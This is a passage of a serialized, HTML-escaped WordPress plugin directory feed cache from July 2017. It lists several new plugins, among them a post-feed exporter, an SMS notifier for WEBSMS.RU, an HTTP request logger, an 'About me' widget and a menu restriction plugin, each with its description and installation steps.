Feeds\&quot;;s:7:\&quot;attribs\&quot;;a:0:{}s:8:\&quot;xml_base\&quot;;s:0:\&quot;\&quot;;s:17:\&quot;xml_base_explicit\&quot;;b:0;s:8:\&quot;xml_lang\&quot;;s:0:\&quot;\&quot;;}}s:4:\&quot;link\&quot;;a:1:{i:0;a:5:{s:4:\&quot;data\&quot;;s:45:\&quot;https://wordpress.org/plugins/jmb-post-feeds/\&quot;;s:7:\&quot;attribs\&quot;;a:0:{}s:8:\&quot;xml_base\&quot;;s:0:\&quot;\&quot;;s:17:\&quot;xml_base_explicit\&quot;;b:0;s:8:\&quot;xml_lang\&quot;;s:0:\&quot;\&quot;;}}s:7:\&quot;pubDate\&quot;;a:1:{i:0;a:5:{s:4:\&quot;data\&quot;;s:31:\&quot;Wed, 19 Jul 2017 13:18:01 +0000\&quot;;s:7:\&quot;attribs\&quot;;a:0:{}s:8:\&quot;xml_base\&quot;;s:0:\&quot;\&quot;;s:17:\&quot;xml_base_explicit\&quot;;b:0;s:8:\&quot;xml_lang\&quot;;s:0:\&quot;\&quot;;}}s:4:\&quot;guid\&quot;;a:1:{i:0;a:5:{s:4:\&quot;data\&quot;;s:45:\&quot;https://wordpress.org/plugins/jmb-post-feeds/\&quot;;s:7:\&quot;attribs\&quot;;a:1:{s:0:\&quot;\&quot;;a:1:{s:11:\&quot;isPermaLink\&quot;;s:5:\&quot;false\&quot;;}}s:8:\&quot;xml_base\&quot;;s:0:\&quot;\&quot;;s:17:\&quot;xml_base_explicit\&quot;;b:0;s:8:\&quot;xml_lang\&quot;;s:0:\&quot;\&quot;;}}s:11:\&quot;description\&quot;;a:1:{i:0;a:5:{s:4:\&quot;data\&quot;;s:74:\&quot;Create post feeds in CSV, XML, RSS, Google RSS, Text &amp;#38; Custom formats.\&quot;;s:7:\&quot;attribs\&quot;;a:0:{}s:8:\&quot;xml_base\&quot;;s:0:\&quot;\&quot;;s:17:\&quot;xml_base_explicit\&quot;;b:0;s:8:\&quot;xml_lang\&quot;;s:0:\&quot;\&quot;;}}}s:32:\&quot;http://purl.org/dc/elements/1.1/\&quot;;a:1:{s:7:\&quot;creator\&quot;;a:1:{i:0;a:5:{s:4:\&quot;data\&quot;;s:6:\&quot;jmb272\&quot;;s:7:\&quot;attribs\&quot;;a:0:{}s:8:\&quot;xml_base\&quot;;s:0:\&quot;\&quot;;s:17:\&quot;xml_base_explicit\&quot;;b:0;s:8:\&quot;xml_lang\&quot;;s:0:\&quot;\&quot;;}}}s:40:\&quot;http://purl.org/rss/1.0/modules/content/\&quot;;a:1:{s:7:\&quot;encoded\&quot;;a:1:{i:0;a:5:{s:4:\&quot;data\&quot;;s:2325:\&quot;&lt;p&gt;&lt;!--section=description--&gt;&lt;/p&gt;\n&lt;p&gt;Create post feeds in CSV, XML, RSS, Google RSS, Text &amp;amp; Custom formats.&lt;/p&gt;\n&lt;p&gt;Features:&lt;/p&gt;\n&lt;ul&gt;\n&lt;li&gt;Add your own custom format using the &amp;#8216;jmb_pf_plugin_settings&amp;#8217; filter.&lt;/li&gt;\n&lt;li&gt;Filter &amp;amp; Refine search options to restrict the posts that appear in a feed.&lt;/li&gt;\n&lt;li&gt;Choose the post types to include in the feed(s).&lt;/li&gt;\n&lt;li&gt;Choose what formats to export a feed to.&lt;/li&gt;\n&lt;li&gt;Set a feed to update automatically whenever a post matching the feed&amp;#8217;s criteria is updated.&lt;/li&gt;\n&lt;/ul&gt;\n&lt;p&gt;&lt;!--section=installation--&gt;&lt;/p&gt;\n&lt;ol&gt;\n&lt;li&gt;Upload the plugin to the &amp;#8216;/wp-content/plugins&amp;#8217; directory.&lt;/li&gt;\n&lt;li&gt;Activate the plugin through the &amp;#8216;Plugins&amp;#8217; menu in WordPress.&lt;/li&gt;\n&lt;/ol&gt;\n&lt;p&gt;&lt;!--section=faq--&gt;&lt;/p&gt;\n&lt;dl&gt;\n&lt;dt&gt;Installation Instructions&lt;/dt&gt;\n&lt;dd&gt;\n&lt;ol&gt;\n&lt;li&gt;Upload the plugin to the &amp;#8216;/wp-content/plugins&amp;#8217; directory.&lt;/li&gt;\n&lt;li&gt;Activate the plugin through the &amp;#8216;Plugins&amp;#8217; menu in WordPress.&lt;/li&gt;\n&lt;/ol&gt;\n&lt;/dd&gt;\n&lt;dt&gt;How do I create my own export format?&lt;/dt&gt;\n&lt;dd&gt;\n&lt;p&gt;First, register your Export Format with the plugin like so:&lt;/p&gt;\n&lt;p&gt; &amp;#8216;Text 2&amp;#8217;,&lt;br /&gt;\n        &amp;#8216;ext&amp;#8217;      =&amp;gt; &amp;#8216;-text-2.txt&amp;#8217;,&lt;br /&gt;\n        &amp;#8216;callback&amp;#8217; =&amp;gt; &amp;#8216;jmb_pf_text_2_format&amp;#8217;,&lt;br /&gt;\n    );&lt;/p&gt;\n&lt;p&gt;    return $settings;&lt;br /&gt;\n});&lt;br /&gt;\n?&amp;gt;&lt;/p&gt;\n&lt;p&gt;Then create the Export Function that takes the feed data and exports it to a file, like so:&lt;/p&gt;\n&lt;p&gt; &amp;#8221;,&lt;br /&gt;\n        &amp;#8216;posts&amp;#8217;     =&amp;gt; array(),&lt;br /&gt;\n    ), $args );&lt;/p&gt;\n&lt;p&gt;    if ( empty( $a[&amp;#8216;posts&amp;#8217;] ) ) {&lt;br /&gt;\n        return;&lt;br /&gt;\n    }&lt;/p&gt;\n&lt;p&gt;    $text_content = &amp;#8221;;&lt;/p&gt;\n&lt;p&gt;    foreach ( $a[&amp;#8216;posts&amp;#8217;] as $post ) {&lt;br /&gt;\n        if ( ! empty( $text_content ) ) {&lt;br /&gt;\n            $text_content .= &amp;#8220;\\n&amp;#8221;;&lt;br /&gt;\n        }&lt;/p&gt;\n&lt;p&gt;        foreach ( $post as $data_name =&amp;gt; $data_value ) {&lt;br /&gt;\n            $text_content .= sprintf( &amp;#8220;%s &amp;#8220;, $data_value );&lt;br /&gt;\n        }&lt;br /&gt;\n    }&lt;/p&gt;\n&lt;p&gt;    if ( ! empty( $a[&amp;#8216;file_name&amp;#8217;] ) ) {&lt;br /&gt;\n        $fp = fopen( $a[&amp;#8216;file_name&amp;#8217;], &amp;#8216;w&amp;#8217; );&lt;br /&gt;\n        fputs( $fp, $text_content );&lt;br /&gt;\n        fclose( $fp );&lt;/p&gt;\n&lt;p&gt;        return true;&lt;br /&gt;\n    }&lt;/p&gt;\n&lt;p&gt;    return $text_content;&lt;br /&gt;\n}&lt;br /&gt;\n?&amp;gt;&lt;/dd&gt;\n&lt;/dl&gt;\n\&quot;;s:7:\&quot;attribs\&quot;;a:0:{}s:8:\&quot;xml_base\&quot;;s:0:\&quot;\&quot;;s:17:\&quot;xml_base_explicit\&quot;;b:0;s:8:\&quot;xml_lang\&quot;;s:0:\&quot;\&quot;;}}}}}i:2;a:6:{s:4:\&quot;data\&quot;;s:30:\&quot;\n		\n		\n		\n		\n		\n		\n		\n				\n			\&quot;;s:7:\&quot;attribs\&quot;;a:0:{}s:8:\&quot;xml_base\&quot;;s:0:\&quot;\&quot;;s:17:\&quot;xml_base_explicit\&quot;;b:0;s:8:\&quot;xml_lang\&quot;;s:0:\&quot;\&quot;;s:5:\&quot;child\&quot;;a:3:{s:0:\&quot;\&quot;;a:5:{s:5:\&quot;title\&quot;;a:1:{i:0;a:5:{s:4:\&quot;data\&quot;;s:19:\&quot;WEBSMS.RU WordPress\&quot;;s:7:\&quot;attribs\&quot;;a:0:{}s:8:\&quot;xml_base\&quot;;s:0:\&quot;\&quot;;s:17:\&quot;xml_base_explicit\&quot;;b:0;s:8:\&quot;xml_lang\&quot;;s:0:\&quot;\&quot;;}}s:4:\&quot;link\&quot;;a:1:{i:0;a:5:{s:4:\&quot;data\&quot;;s:40:\&quot;https://wordpress.org/plugins/websms-ru/\&quot;;s:7:\&quot;attribs\&quot;;a:0:{}s:8:\&quot;xml_base\&quot;;s:0:\&quot;\&quot;;s:17:\&quot;xml_base_explicit\&quot;;b:0;s:8:\&quot;xml_lang\&quot;;s:0:\&quot;\&quot;;}}s:7:\&quot;pubDate\&quot;;a:1:{i:0;a:5:{s:4:\&quot;data\&quot;;s:31:\&quot;Wed, 19 Jul 2017 13:11:03 +0000\&quot;;s:7:\&quot;attribs\&quot;;a:0:{}s:8:\&quot;xml_base\&quot;;s:0:\&quot;\&quot;;s:17:\&quot;xml_base_explicit\&quot;;b:0;s:8:\&quot;xml_lang\&quot;;s:0:\&quot;\&quot;;}}s:4:\&quot;guid\&quot;;a:1:{i:0;a:5:{s:4:\&quot;data\&quot;;s:53:\&quot;https://ru.wordpress.org/plugins/websms-ru-wordpress/\&quot;;s:7:\&quot;attribs\&quot;;a:1:{s:0:\&quot;\&quot;;a:1:{s:11:\&quot;isPermaLink\&quot;;s:5:\&quot;false\&quot;;}}s:8:\&quot;xml_base\&quot;;s:0:\&quot;\&quot;;s:17:\&quot;xml_base_explicit\&quot;;b:0;s:8:\&quot;xml_lang\&quot;;s:0:\&quot;\&quot;;}}s:11:\&quot;description\&quot;;a:1:{i:0;a:5:{s:4:\&quot;data\&quot;;s:86:\&quot;SMS уведомления о событиях WordPress через шлюз WEBSMS.RU\&quot;;s:7:\&quot;attribs\&quot;;a:0:{}s:8:\&quot;xml_base\&quot;;s:0:\&quot;\&quot;;s:17:\&quot;xml_base_explicit\&quot;;b:0;s:8:\&quot;xml_lang\&quot;;s:0:\&quot;\&quot;;}}}s:32:\&quot;http://purl.org/dc/elements/1.1/\&quot;;a:1:{s:7:\&quot;creator\&quot;;a:1:{i:0;a:5:{s:4:\&quot;data\&quot;;s:9:\&quot;elafonisy\&quot;;s:7:\&quot;attribs\&quot;;a:0:{}s:8:\&quot;xml_base\&quot;;s:0:\&quot;\&quot;;s:17:\&quot;xml_base_explicit\&quot;;b:0;s:8:\&quot;xml_lang\&quot;;s:0:\&quot;\&quot;;}}}s:40:\&quot;http://purl.org/rss/1.0/modules/content/\&quot;;a:1:{s:7:\&quot;encoded\&quot;;a:1:{i:0;a:5:{s:4:\&quot;data\&quot;;s:3486:\&quot;&lt;p&gt;&lt;!--section=description--&gt;&lt;/p&gt;\n&lt;p&gt;SMS уведомления о событиях в блоге WordPress через шлюз WEBSMS.RU.&lt;br /&gt;\n&lt;a href=\&quot;http://websms.ru/services/sending/request\&quot; rel=\&quot;nofollow\&quot;&gt;САЙТ&lt;/a&gt; | &lt;a href=\&quot;support@websms.ru\&quot; rel=\&quot;nofollow\&quot;&gt;Поддержка&lt;/a&gt;&lt;/p&gt;\n&lt;h4&gt;Features&lt;/h4&gt;\n&lt;ul&gt;\n&lt;li&gt;Уведомление о регистрации нового пользователя.&lt;/li&gt;\n&lt;li&gt;Уведомление о том что пользователь залогинился на сайте.&lt;/li&gt;\n&lt;li&gt;Уведомление о публикации нового поста.&lt;/li&gt;\n&lt;li&gt;Уведомление об обновлении поста.&lt;/li&gt;\n&lt;/ul&gt;\n&lt;p&gt;&lt;!--section=installation--&gt;&lt;/p&gt;\n&lt;ol&gt;\n&lt;li&gt;Через консоль\n&lt;ul&gt;\n&lt;li&gt;В административной панели перейдите на страницу Плагины и нажмите Добавить новый.&lt;/li&gt;\n&lt;li&gt;Перейдите на вкладку Загрузить, нажмите Обзор и выберите архив с плагином. Нажмите Установить.&lt;/li&gt;\n&lt;/ul&gt;\n&lt;/li&gt;\n&lt;li&gt;По FTP\n&lt;ul&gt;\n&lt;li&gt;распакуйте архив и загрузите &amp;#8220;websms-ru-wordpress&amp;#8221; в папку ваш-домен/wp-content/plugins&lt;/li&gt;\n&lt;/ul&gt;\n&lt;/li&gt;\n&lt;li&gt;После того, как плагин будет установлен, нажмите Активировать плагин.&lt;/li&gt;\n&lt;li&gt;Наведите курсор на пункт меню Настройки и выберите WEBSMS.RU&lt;/li&gt;\n&lt;li&gt;В настройках введите логин, пароль, телефоны получателей СМС-оповещений.&lt;/li&gt;\n&lt;li&gt;Выберите события WordPress, на которые вы хотели бы получать оповещения, откорректируйте текст SMS-оповещений&lt;/li&gt;\n&lt;li&gt;Сохраните изменения, кликнув на кнопке &amp;#8220;Сохранить&amp;#8221;.&lt;/li&gt;\n&lt;/ol&gt;\n&lt;p&gt;&lt;!--section=changelog--&gt;&lt;/p&gt;\n&lt;h4&gt;1.0.0 &amp;#8211; 2017-07-19&lt;/h4&gt;\n&lt;ul&gt;\n&lt;li&gt;Initial release&lt;/li&gt;\n&lt;/ul&gt;\n&lt;p&gt;&lt;!--section=faq--&gt;&lt;/p&gt;\n&lt;dl&gt;\n&lt;dt&gt;Installation Instructions&lt;/dt&gt;\n&lt;dd&gt;\n&lt;ol&gt;\n&lt;li&gt;Через консоль\n&lt;ul&gt;\n&lt;li&gt;В административной панели перейдите на страницу Плагины и нажмите Добавить новый.&lt;/li&gt;\n&lt;li&gt;Перейдите на вкладку Загрузить, нажмите Обзор и выберите архив с плагином. Нажмите Установить.&lt;/li&gt;\n&lt;/ul&gt;\n&lt;/li&gt;\n&lt;li&gt;По FTP\n&lt;ul&gt;\n&lt;li&gt;распакуйте архив и загрузите &amp;#8220;websms-ru-wordpress&amp;#8221; в папку ваш-домен/wp-content/plugins&lt;/li&gt;\n&lt;/ul&gt;\n&lt;/li&gt;\n&lt;li&gt;После того, как плагин будет установлен, нажмите Активировать плагин.&lt;/li&gt;\n&lt;li&gt;Наведите курсор на пункт меню Настройки и выберите WEBSMS.RU&lt;/li&gt;\n&lt;li&gt;В настройках введите логин, пароль, телефоны получателей СМС-оповещений.&lt;/li&gt;\n&lt;li&gt;Выберите события WordPress, на которые вы хотели бы получать оповещения, откорректируйте текст SMS-оповещений&lt;/li&gt;\n&lt;li&gt;Сохраните изменения, кликнув на кнопке &amp;#8220;Сохранить&amp;#8221;.&lt;/li&gt;\n&lt;/ol&gt;\n&lt;/dd&gt;\n&lt;/dl&gt;\n\&quot;;s:7:\&quot;attribs\&quot;;a:0:{}s:8:\&quot;xml_base\&quot;;s:0:\&quot;\&quot;;s:17:\&quot;xml_base_explicit\&quot;;b:0;s:8:\&quot;xml_lang\&quot;;s:0:\&quot;\&quot;;}}}}}i:3;a:6:{s:4:\&quot;data\&quot;;s:30:\&quot;\n		\n		\n		\n		\n		\n		\n		\n				\n			\&quot;;s:7:\&quot;attribs\&quot;;a:0:{}s:8:\&quot;xml_base\&quot;;s:0:\&quot;\&quot;;s:17:\&quot;xml_base_explicit\&quot;;b:0;s:8:\&quot;xml_lang\&quot;;s:0:\&quot;\&quot;;s:5:\&quot;child\&quot;;a:3:{s:0:\&quot;\&quot;;a:5:{s:5:\&quot;title\&quot;;a:1:{i:0;a:5:{s:4:\&quot;data\&quot;;s:17:\&quot;Log HTTP Requests\&quot;;s:7:\&quot;attribs\&quot;;a:0:{}s:8:\&quot;xml_base\&quot;;s:0:\&quot;\&quot;;s:17:\&quot;xml_base_explicit\&quot;;b:0;s:8:\&quot;xml_lang\&quot;;s:0:\&quot;\&quot;;}}s:4:\&quot;link\&quot;;a:1:{i:0;a:5:{s:4:\&quot;data\&quot;;s:48:\&quot;https://wordpress.org/plugins/log-http-requests/\&quot;;s:7:\&quot;attribs\&quot;;a:0:{}s:8:\&quot;xml_base\&quot;;s:0:\&quot;\&quot;;s:17:\&quot;xml_base_explicit\&quot;;b:0;s:8:\&quot;xml_lang\&quot;;s:0:\&quot;\&quot;;}}s:7:\&quot;pubDate\&quot;;a:1:{i:0;a:5:{s:4:\&quot;data\&quot;;s:31:\&quot;Wed, 19 Jul 2017 13:04:33 +0000\&quot;;s:7:\&quot;attribs\&quot;;a:0:{}s:8:\&quot;xml_base\&quot;;s:0:\&quot;\&quot;;s:17:\&quot;xml_base_explicit\&quot;;b:0;s:8:\&quot;xml_lang\&quot;;s:0:\&quot;\&quot;;}}s:4:\&quot;guid\&quot;;a:1:{i:0;a:5:{s:4:\&quot;data\&quot;;s:48:\&quot;https://wordpress.org/plugins/log-http-requests/\&quot;;s:7:\&quot;attribs\&quot;;a:1:{s:0:\&quot;\&quot;;a:1:{s:11:\&quot;isPermaLink\&quot;;s:5:\&quot;false\&quot;;}}s:8:\&quot;xml_base\&quot;;s:0:\&quot;\&quot;;s:17:\&quot;xml_base_explicit\&quot;;b:0;s:8:\&quot;xml_lang\&quot;;s:0:\&quot;\&quot;;}}s:11:\&quot;description\&quot;;a:1:{i:0;a:5:{s:4:\&quot;data\&quot;;s:33:\&quot;Log and view all WP HTTP requests\&quot;;s:7:\&quot;attribs\&quot;;a:0:{}s:8:\&quot;xml_base\&quot;;s:0:\&quot;\&quot;;s:17:\&quot;xml_base_explicit\&quot;;b:0;s:8:\&quot;xml_lang\&quot;;s:0:\&quot;\&quot;;}}}s:32:\&quot;http://purl.org/dc/elements/1.1/\&quot;;a:1:{s:7:\&quot;creator\&quot;;a:1:{i:0;a:5:{s:4:\&quot;data\&quot;;s:10:\&quot;Matt Gibbs\&quot;;s:7:\&quot;attribs\&quot;;a:0:{}s:8:\&quot;xml_base\&quot;;s:0:\&quot;\&quot;;s:17:\&quot;xml_base_explicit\&quot;;b:0;s:8:\&quot;xml_lang\&quot;;s:0:\&quot;\&quot;;}}}s:40:\&quot;http://purl.org/rss/1.0/modules/content/\&quot;;a:1:{s:7:\&quot;encoded\&quot;;a:1:{i:0;a:5:{s:4:\&quot;data\&quot;;s:1008:\&quot;&lt;p&gt;&lt;!--section=description--&gt;&lt;/p&gt;\n&lt;h4&gt;Log and view all WP HTTP requests&lt;/h4&gt;\n&lt;p&gt;How long do all those (core / plugin / theme) update checks take to run? What data about my site is being sent out? The answers to these questions are just a few clicks away.&lt;/p&gt;\n&lt;p&gt;This plugin logs all WP_HTTP requests and displays them in a table listing for easy viewing. It also stores the runtime of each HTTP requests.&lt;/p&gt;\n&lt;h4&gt;Important Links&lt;/h4&gt;\n&lt;ul&gt;\n&lt;li&gt;&lt;a href=\&quot;https://github.com/FacetWP/log-http-requests\&quot; rel=\&quot;nofollow\&quot;&gt;Github →&lt;/a&gt;&lt;/li&gt;\n&lt;/ul&gt;\n&lt;p&gt;&lt;!--section=installation--&gt;&lt;/p&gt;\n&lt;ol&gt;\n&lt;li&gt;Download and activate the plugin.&lt;/li&gt;\n&lt;li&gt;Browse to the &lt;code&gt;Log HTTP Requests&lt;/code&gt; menu to view log entries.&lt;/li&gt;\n&lt;/ol&gt;\n&lt;p&gt;&lt;!--section=changelog--&gt;&lt;/p&gt;\n&lt;h4&gt;1.0.0&lt;/h4&gt;\n&lt;ul&gt;\n&lt;li&gt;Initial release&lt;/li&gt;\n&lt;/ul&gt;\n&lt;p&gt;&lt;!--section=faq--&gt;&lt;/p&gt;\n&lt;dl&gt;\n&lt;dt&gt;Installation Instructions&lt;/dt&gt;\n&lt;dd&gt;\n&lt;ol&gt;\n&lt;li&gt;Download and activate the plugin.&lt;/li&gt;\n&lt;li&gt;Browse to the &lt;code&gt;Log HTTP Requests&lt;/code&gt; menu to view log entries.&lt;/li&gt;\n&lt;/ol&gt;\n&lt;/dd&gt;\n&lt;/dl&gt;\n\&quot;;s:7:\&quot;attribs\&quot;;a:0:{}s:8:\&quot;xml_base\&quot;;s:0:\&quot;\&quot;;s:17:\&quot;xml_base_explicit\&quot;;b:0;s:8:\&quot;xml_lang\&quot;;s:0:\&quot;\&quot;;}}}}}i:4;a:6:{s:4:\&quot;data\&quot;;s:30:\&quot;\n		\n		\n		\n		\n		\n		\n		\n				\n			\&quot;;s:7:\&quot;attribs\&quot;;a:0:{}s:8:\&quot;xml_base\&quot;;s:0:\&quot;\&quot;;s:17:\&quot;xml_base_explicit\&quot;;b:0;s:8:\&quot;xml_lang\&quot;;s:0:\&quot;\&quot;;s:5:\&quot;child\&quot;;a:3:{s:0:\&quot;\&quot;;a:5:{s:5:\&quot;title\&quot;;a:1:{i:0;a:5:{s:4:\&quot;data\&quot;;s:15:\&quot;AH About Widget\&quot;;s:7:\&quot;attribs\&quot;;a:0:{}s:8:\&quot;xml_base\&quot;;s:0:\&quot;\&quot;;s:17:\&quot;xml_base_explicit\&quot;;b:0;s:8:\&quot;xml_lang\&quot;;s:0:\&quot;\&quot;;}}s:4:\&quot;link\&quot;;a:1:{i:0;a:5:{s:4:\&quot;data\&quot;;s:46:\&quot;https://wordpress.org/plugins/ah-about-widget/\&quot;;s:7:\&quot;attribs\&quot;;a:0:{}s:8:\&quot;xml_base\&quot;;s:0:\&quot;\&quot;;s:17:\&quot;xml_base_explicit\&quot;;b:0;s:8:\&quot;xml_lang\&quot;;s:0:\&quot;\&quot;;}}s:7:\&quot;pubDate\&quot;;a:1:{i:0;a:5:{s:4:\&quot;data\&quot;;s:31:\&quot;Wed, 19 Jul 2017 12:55:02 +0000\&quot;;s:7:\&quot;attribs\&quot;;a:0:{}s:8:\&quot;xml_base\&quot;;s:0:\&quot;\&quot;;s:17:\&quot;xml_base_explicit\&quot;;b:0;s:8:\&quot;xml_lang\&quot;;s:0:\&quot;\&quot;;}}s:4:\&quot;guid\&quot;;a:1:{i:0;a:5:{s:4:\&quot;data\&quot;;s:49:\&quot;https://wordpress.org/plugins-wp/ah-about-widget/\&quot;;s:7:\&quot;attribs\&quot;;a:1:{s:0:\&quot;\&quot;;a:1:{s:11:\&quot;isPermaLink\&quot;;s:5:\&quot;false\&quot;;}}s:8:\&quot;xml_base\&quot;;s:0:\&quot;\&quot;;s:17:\&quot;xml_base_explicit\&quot;;b:0;s:8:\&quot;xml_lang\&quot;;s:0:\&quot;\&quot;;}}s:11:\&quot;description\&quot;;a:1:{i:0;a:5:{s:4:\&quot;data\&quot;;s:102:\&quot;Easy to use &amp;#34;About me&amp;#34; profile widget with several settings, which is using your Author&amp;#8230;\&quot;;s:7:\&quot;attribs\&quot;;a:0:{}s:8:\&quot;xml_base\&quot;;s:0:\&quot;\&quot;;s:17:\&quot;xml_base_explicit\&quot;;b:0;s:8:\&quot;xml_lang\&quot;;s:0:\&quot;\&quot;;}}}s:32:\&quot;http://purl.org/dc/elements/1.1/\&quot;;a:1:{s:7:\&quot;creator\&quot;;a:1:{i:0;a:5:{s:4:\&quot;data\&quot;;s:12:\&quot;AndreasHecht\&quot;;s:7:\&quot;attribs\&quot;;a:0:{}s:8:\&quot;xml_base\&quot;;s:0:\&quot;\&quot;;s:17:\&quot;xml_base_explicit\&quot;;b:0;s:8:\&quot;xml_lang\&quot;;s:0:\&quot;\&quot;;}}}s:40:\&quot;http://purl.org/rss/1.0/modules/content/\&quot;;a:1:{s:7:\&quot;encoded\&quot;;a:1:{i:0;a:5:{s:4:\&quot;data\&quot;;s:1731:\&quot;&lt;p&gt;&lt;!--section=description--&gt;&lt;/p&gt;\n&lt;p&gt;Easy to use &amp;#8220;About me&amp;#8221; profile widget with several settings, which is using your Author Bio, Description and Author Gravatar. You can also link to your &amp;#8220;About me&amp;#8221; page.&lt;/p&gt;\n&lt;p&gt;Gravatar can have alignment right, left and none. See Screenshots for more information. The Gravatar can have four different sizes: 45, 65, 85 and 125px.&lt;/p&gt;\n&lt;p&gt;Alignment none plus Gravatar 125px will center the Gravatar and makes him round. CSS is tested on Twenty Sixteen, Twenty Fifteen, Twenty Fourteen and some other Themes.&lt;/p&gt;\n&lt;p&gt;&lt;!--section=installation--&gt;&lt;/p&gt;\n&lt;ol&gt;\n&lt;li&gt;Upload the plugin files to the &lt;code&gt;/wp-content/plugins/&lt;/code&gt; directory, or install the plugin through the WordPress plugins screen directly.&lt;/li&gt;\n&lt;li&gt;Activate the plugin through the &amp;#8216;Plugins&amp;#8217; screen in WordPress&lt;/li&gt;\n&lt;li&gt;Ready to use!&lt;/li&gt;\n&lt;/ol&gt;\n&lt;p&gt;&lt;!--section=faq--&gt;&lt;/p&gt;\n&lt;ul&gt;\n&lt;li&gt;Question 1: The CSS does not display the widget correctly, what can I do? &lt;/li&gt;\n&lt;li&gt;Question 2: Can I use my own CSS?&lt;/li&gt;\n&lt;/ul&gt;\n&lt;p&gt;&lt;strong&gt;Answer to both questions:&lt;/strong&gt; You can override the plugin css. Go to the &lt;a href=\&quot;https://andreas-hecht.com/ah-about-widget/\&quot; title=\&quot;Ah About Widget Homepage\&quot; rel=\&quot;nofollow\&quot;&gt;Widget Homepage&lt;/a&gt;. There you will find a small tutorial about that.&lt;/p&gt;\n&lt;dl&gt;\n&lt;dt&gt;Installation Instructions&lt;/dt&gt;\n&lt;dd&gt;\n&lt;ol&gt;\n&lt;li&gt;Upload the plugin files to the &lt;code&gt;/wp-content/plugins/&lt;/code&gt; directory, or install the plugin through the WordPress plugins screen directly.&lt;/li&gt;\n&lt;li&gt;Activate the plugin through the &amp;#8216;Plugins&amp;#8217; screen in WordPress&lt;/li&gt;\n&lt;li&gt;Ready to use!&lt;/li&gt;\n&lt;/ol&gt;\n&lt;/dd&gt;\n&lt;/dl&gt;\n&lt;p&gt;&lt;!--section=changelog--&gt;&lt;/p&gt;\n&lt;h4&gt;1.0.0&lt;/h4&gt;\n&lt;ul&gt;\n&lt;li&gt;First release. Stable version.&lt;/li&gt;\n&lt;/ul&gt;\n\&quot;;s:7:\&quot;attribs\&quot;;a:0:{}s:8:\&quot;xml_base\&quot;;s:0:\&quot;\&quot;;s:17:\&quot;xml_base_explicit\&quot;;b:0;s:8:\&quot;xml_lang\&quot;;s:0:\&quot;\&quot;;}}}}}i:5;a:6:{s:4:\&quot;data\&quot;;s:30:\&quot;\n		\n		\n		\n		\n		\n		\n		\n				\n			\&quot;;s:7:\&quot;attribs\&quot;;a:0:{}s:8:\&quot;xml_base\&quot;;s:0:\&quot;\&quot;;s:17:\&quot;xml_base_explicit\&quot;;b:0;s:8:\&quot;xml_lang\&quot;;s:0:\&quot;\&quot;;s:5:\&quot;child\&quot;;a:3:{s:0:\&quot;\&quot;;a:5:{s:5:\&quot;title\&quot;;a:1:{i:0;a:5:{s:4:\&quot;data\&quot;;s:33:\&quot;Menu Restrict for Anonymous users\&quot;;s:7:\&quot;attribs\&quot;;a:0:{}s:8:\&quot;xml_base\&quot;;s:0:\&quot;\&quot;;s:17:\&quot;xml_base_explicit\&quot;;b:0;s:8:\&quot;xml_lang\&quot;;s:0:\&quot;\&quot;;}}s:4:\&quot;link\&quot;;a:1:{i:0;a:5:{s:4:\&quot;data\&quot;;s:64:\&quot;https://wordpress.org/plugins/menu-restrict-for-anonymous-users/\&quot;;s:7:\&quot;attribs\&quot;;a:0:{}s:8:\&quot;xml_base\&quot;;s:0:\&quot;\&quot;;s:17:\&quot;xml_base_explicit\&quot;;b:0;s:8:\&quot;xml_lang\&quot;;s:0:\&quot;\&quot;;}}s:7:\&quot;pubDate\&quot;;a:1:{i:0;a:5:{s:4:\&quot;data\&quot;;s:31:\&quot;Wed, 19 Jul 2017 12:45:04 +0000\&quot;;s:7:\&quot;attribs\&quot;;a:0:{}s:8:\&quot;xml_base\&quot;;s:0:\&quot;\&quot;;s:17:\&quot;xml_base_explicit\&quot;;b:0;s:8:\&quot;xml_lang\&quot;;s:0:\&quot;\&quot;;}}s:4:\&quot;guid\&quot;;a:1:{i:0;a:5:{s:4:\&quot;data\&quot;;s:64:\&quot;https://wordpress.org/plugins/menu-restrict-for-anonymous-users/\&quot;;s:7:\&quot;attribs\&quot;;a:1:{s:0:\&quot;\&quot;;a:1:{s:11:\&quot;isPermaLink\&quot;;s:5:\&quot;false\&quot;;}}s:8:\&quot;xml_base\&quot;;s:0:\&quot;\&quot;;s:17:\&quot;xml_base_explicit\&quot;;b:0;s:8:\&quot;xml_lang\&quot;;s:0:\&quot;\&quot;;}}s:11:\&quot;description\&quot;;a:1:{i:0;a:5:{s:4:\&quot;data\&quot;;s:103:\&quot;This plugin restricted the seleted menu so anonymous user won&amp;#039;t access this menu item links&amp;#8230;\&quot;;s:7:\&quot;attribs\&quot;;a:0:{}s:8:\&quot;xml_base\&quot;;s:0:\&quot;\&quot;;s:17:\&quot;xml_base_explicit\&quot;;b:0;s:8:\&quot;xml_lang\&quot;;s:0:\&quot;\&quot;;}}}s:32:\&quot;http://purl.org/dc/elements/1.1/\&quot;;a:1:{s:7:\&quot;creator\&quot;;a:1:{i:0;a:5:{s:4:\&quot;data\&quot;;s:9:\&quot;Venugopal\&quot;;s:7:\&quot;attribs\&quot;;a:0:{}s:8:\&quot;xml_base\&quot;;s:0:\&quot;\&quot;;s:17:\&quot;xml_base_explicit\&quot;;b:0;s:8:\&quot;xml_lang\&quot;;s:0:\&quot;\&quot;;}}}s:40:\&quot;http://purl.org/rss/1.0/modules/content/\&quot;;a:1:{s:7:\&quot;encoded\&quot;;a:1:{i:0;a:5:{s:4:\&quot;data\&quot;;s:938:\&quot;&lt;p&gt;&lt;!--section=description--&gt;&lt;/p&gt;\n&lt;p&gt;This plugin restricted the seleted menu so anonymous user won&amp;#8217;t access this menu item links directly&lt;/p&gt;\n&lt;p&gt;&lt;strong&gt;More WordPress help please follow Me on this link&lt;/strong&gt;&lt;br /&gt;\n&lt;strong&gt;&lt;a href=\&quot;https://venugopalphp.wordpress.com/\&quot; rel=\&quot;nofollow\&quot;&gt;Venugopal&lt;/a&gt;&lt;/strong&gt;&lt;/p&gt;\n&lt;p&gt;&lt;!--section=installation--&gt;&lt;/p&gt;\n&lt;p&gt;This section describes how to install the plugin and get it working.&lt;/p&gt;\n&lt;p&gt;In WordPress:&lt;/p&gt;\n&lt;pre&gt;&lt;code&gt;Go to Plugins &amp;gt; Add New &amp;gt; search for : Menu Restrict for Anonymous users :\nPress Install Now for the Comment Date and Gravatar remover plugin\nPress Activate Plugin\n&lt;/code&gt;&lt;/pre&gt;\n&lt;p&gt;To install manually instead:&lt;/p&gt;\n&lt;pre&gt;&lt;code&gt;Download zip file and Upload the directory to the /wp-content/plugins/ directory\nActivate the plugin through the Plugins menu in 